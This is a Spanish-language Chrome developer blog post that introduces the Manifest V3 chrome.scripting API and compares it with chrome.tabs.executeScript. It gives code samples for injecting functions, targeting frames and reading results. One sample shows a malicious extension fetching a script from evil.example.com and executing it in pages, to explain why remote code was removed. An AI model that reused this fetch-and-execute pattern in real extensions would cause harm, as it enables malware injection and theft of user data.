Presentación de chrome.scripting

Simeon Vincent
Simeon Vincent

Manifest V3 presenta varios cambios en la plataforma de extensiones de Chrome. En esta entrada, exploraremos las motivaciones y los cambios que introdujo uno de los cambios más notables: la introducción de la API de chrome.scripting.

¿Qué es chrome.scripting?

Como su nombre lo indica, chrome.scripting es un nuevo espacio de nombres que se introdujo en Manifest V3 y que es responsable de las funciones de inserción de secuencias de comandos y estilos.

Es posible que los desarrolladores que hayan creado extensiones de Chrome en el pasado estén familiarizados con los métodos de Manifest V2 en la API de Tabs, como chrome.tabs.executeScript y chrome.tabs.insertCSS. Estos métodos permiten que las extensiones inserten secuencias de comandos y hojas de estilo en las páginas, respectivamente. En Manifest V3, estas funciones se movieron a chrome.scripting y planeamos expandir esta API con algunas funciones nuevas en el futuro.

¿Por qué crear una API nueva?

Con un cambio como este, una de las primeras preguntas que suele surgir es “¿por qué?”.

Varios factores diferentes llevaron al equipo de Chrome a decidir presentar un nuevo espacio de nombres para la escritura de secuencias de comandos. En primer lugar, la API de Tabs es un poco un cajón de sastre para las funciones. En segundo lugar, necesitábamos realizar cambios rotundos en la API de executeScript existente. En tercer lugar, sabíamos que queríamos expandir las capacidades de secuencias de comandos para las extensiones. En conjunto, estas inquietudes definieron claramente la necesidad de un nuevo espacio de nombres para albergar las capacidades de escritura de secuencias de comandos.

El cajón de los trastos

Uno de los problemas que ha estado molestando al equipo de Extensiones en los últimos años es que la API de chrome.tabs está sobrecargada. Cuando se presentó esta API por primera vez, la mayoría de las funciones que proporcionaba se relacionaban con el concepto amplio de una pestaña del navegador. Sin embargo, incluso en ese momento, era un poco un conjunto de funciones, y con los años, esta colección solo creció.

Cuando se lanzó el manifiesto V3, la API de Tabs había crecido para abarcar la administración básica de pestañas, la administración de selecciones, la organización de ventanas, los mensajes, el control de zoom, la navegación básica, la escritura de secuencias de comandos y algunas otras funciones menores. Si bien todos son importantes, pueden ser un poco abrumadores para los desarrolladores cuando comienzan y para el equipo de Chrome, ya que mantenemos la plataforma y consideramos las solicitudes de la comunidad de desarrolladores.

Otro factor que complica la situación es que no se comprende bien el permiso tabs. Si bien muchos otros permisos restringen el acceso a una API determinada (p.ej., storage), este permiso es un poco inusual, ya que solo le otorga a la extensión acceso a propiedades sensibles en instancias de pestañas (y, por extensión, también afecta a la API de Windows). Es comprensible que muchos desarrolladores de extensiones piensen por error que necesitan este permiso para acceder a métodos en la API de Tabs, como chrome.tabs.create o, de manera más precisa, chrome.tabs.executeScript. Quitar la funcionalidad de la API de Tabs ayuda a aclarar parte de esta confusión.

Cambios rotundos

Cuando diseñamos Manifest V3, uno de los problemas principales que queríamos abordar era el abuso y el software malicioso habilitado por el "código alojado de forma remota", que se ejecuta, pero no se incluye en el paquete de extensión. Es común que los autores de extensiones abusivas ejecuten secuencias de comandos recuperadas de servidores remotos para robar datos del usuario, insertar software malicioso y evadir la detección. Si bien los actores confiables también usan esta función, finalmente, consideramos que era demasiado peligroso mantenerla como estaba.

Existen varias maneras en que las extensiones pueden ejecutar código sin empaquetar, pero la relevante aquí es el método chrome.tabs.executeScript de Manifest V2. Este método permite que una extensión ejecute una cadena de código arbitraria en una pestaña de destino. Esto, a su vez, significa que un desarrollador malicioso puede recuperar una secuencia de comandos arbitraria de un servidor remoto y ejecutarla dentro de cualquier página a la que la extensión pueda acceder. Sabíamos que, si queríamos abordar el problema del código remoto, tendríamos que descartar esta función.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

También queríamos corregir algunos otros problemas más sutiles con el diseño de la versión V2 del manifiesto y hacer que la API sea una herramienta más pulida y predecible.

Si bien podríamos haber cambiado la firma de este método dentro de la API de Tabs, consideramos que, entre estos cambios rotundos y la introducción de nuevas funciones (que se abordan en la siguiente sección), una ruptura clara sería más fácil para todos.

Ampliación de las capacidades de secuencias de comandos

Otra consideración que se tuvo en cuenta en el proceso de diseño de Manifest V3 fue el deseo de introducir funciones de escritura de secuencias de comandos adicionales en la plataforma de extensiones de Chrome. Específicamente, queríamos agregar compatibilidad con secuencias de comandos de contenido dinámico y expandir las capacidades del método executeScript.

La compatibilidad con secuencias de comandos de contenido dinámico es una solicitud de función de larga data en Chromium. Actualmente, las extensiones de Chrome de Manifest V2 y V3 solo pueden declarar de forma estática secuencias de comandos de contenido en su archivo manifest.json. La plataforma no proporciona una forma de registrar secuencias de comandos de contenido nuevas, ajustar el registro de secuencias de comandos de contenido ni anular el registro de secuencias de comandos de contenido durante el tiempo de ejecución.

Si bien sabíamos que queríamos abordar esta solicitud de función en el manifiesto V3, ninguna de nuestras APIs existentes parecía ser la adecuada. También consideramos alinearnos con Firefox en su API de Content Scripts, pero desde el principio identificamos algunas desventajas importantes de este enfoque. En primer lugar, sabíamos que tendríamos firmas incompatibles (p.ej., dejaríamos de admitir la propiedad code). En segundo lugar, nuestra API tenía un conjunto diferente de restricciones de diseño (p.ej., la necesidad de un registro para persistir más allá de la vida útil de un trabajador de servicio). Por último, este espacio de nombres también nos encasillaría en la funcionalidad de secuencias de comandos de contenido, en la que pensamos en la escritura de secuencias de comandos en extensiones de manera más amplia.

En el caso de executeScript, también queríamos expandir lo que esta API podía hacer más allá de lo que admitía la versión de la API de Tabs. Más específicamente, queríamos admitir funciones y argumentos, segmentar con mayor facilidad marcos específicos y segmentar contextos que no sean de "pestañas".

En el futuro, también consideraremos cómo las extensiones pueden interactuar con los AWP instalados y otros contextos que no se asignan de forma conceptual a "pestañas".

Cambios entre tabs.executeScript y scripting.executeScript

En el resto de esta publicación, me gustaría analizar con más detalle las similitudes y diferencias entre chrome.tabs.executeScript y chrome.scripting.executeScript.

Cómo insertar una función con argumentos

Mientras considerábamos cómo la plataforma debería evolucionar en función de las restricciones de código alojadas de forma remota, queríamos encontrar un equilibrio entre la potencia sin procesar de la ejecución de código arbitraria y permitir solo secuencias de comandos de contenido estáticas. La solución que encontramos fue permitir que las extensiones inserten una función como una secuencia de comandos de contenido y pasen un array de valores como argumentos.

Veamos un ejemplo (muy simplificado). Supongamos que queremos insertar una secuencia de comandos que salude al usuario por su nombre cuando haga clic en el botón de acción de la extensión (ícono en la barra de herramientas). En Manifest V2, podíamos construir de forma dinámica una cadena de código y ejecutar esa secuencia de comandos en la página actual.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Si bien las extensiones de Manifest V3 no pueden usar código que no esté incluido en la extensión, nuestro objetivo era preservar parte del dinamismo que los bloques de código arbitrarios habilitaban para las extensiones de Manifest V2. El enfoque de funciones y argumentos permite que los revisores, los usuarios y otras partes interesadas de Chrome Web Store evalúen con mayor precisión los riesgos que plantea una extensión y, al mismo tiempo, permite que los desarrolladores modifiquen el comportamiento del entorno de ejecución de una extensión en función de la configuración del usuario o el estado de la aplicación.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Marcos de segmentación

También queríamos mejorar la forma en que los desarrolladores interactúan con los fotogramas en la API revisada. La versión V2 del manifiesto de executeScript permitía a los desarrolladores segmentar todos los marcos de una pestaña o un marco específico en la pestaña. Puedes usar chrome.webNavigation.getAllFrames para obtener una lista de todos los marcos de una pestaña.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

En el manifiesto v3, reemplazamos la propiedad opcional de número entero frameId en el objeto de opciones por un array opcional de números enteros frameIds. Esto permite que los desarrolladores segmenten varios fotogramas en una sola llamada a la API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Resultados de la inserción de secuencias de comandos

También mejoramos la forma en que mostramos los resultados de la inserción de secuencias de comandos en Manifest V3. Un "resultado" es, básicamente, la sentencia final que se evalúa en una secuencia de comandos. Piensa en él como el valor que se muestra cuando llamas a eval() o ejecutas un bloque de código en la consola de las herramientas para desarrolladores de Chrome, pero serializado para pasar los resultados a todos los procesos.

En Manifest V2, executeScript y insertCSS mostrarían un array de resultados de ejecución sin formato. Esto está bien si solo tienes un punto de inserción, pero no se garantiza el orden de los resultados cuando se insertan en varios fotogramas, por lo que no hay forma de saber qué resultado está asociado con qué fotograma.

A modo de ejemplo, veamos los arrays results que muestran una versión de Manifest V2 y una de Manifest V3 de la misma extensión. Ambas versiones de la extensión insertarán la misma secuencia de comandos de contenido y compararemos los resultados en la misma página de demostración.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Cuando ejecutamos la versión del manifiesto V2, obtenemos un array de [1, 0, 5]. ¿Qué resultado corresponde al marco principal y cuál al iframe? El valor que se muestra no nos lo indica, por lo que no lo sabemos con seguridad.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

En la versión V3 del manifiesto, results ahora contiene un array de objetos de resultado en lugar de un array de solo los resultados de la evaluación, y los objetos de resultado identifican claramente el ID del fotograma para cada resultado. Esto facilita mucho que los desarrolladores usen el resultado y tomen medidas en un marco específico.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Conclusión

Los aumentos de versión del manifiesto presentan una oportunidad excepcional para repensar y modernizar las APIs de extensiones. Nuestro objetivo con el manifiesto V3 es mejorar la experiencia del usuario final haciendo que las extensiones sean más seguras y, al mismo tiempo, mejorar la experiencia del desarrollador. Cuando presentamos chrome.scripting en Manifest V3, pudimos ayudar a limpiar la API de Tabs, a reinventar executeScript para una plataforma de extensiones más segura y a sentar las bases para las nuevas capacidades de escritura de secuencias de comandos que se lanzarán más adelante este año.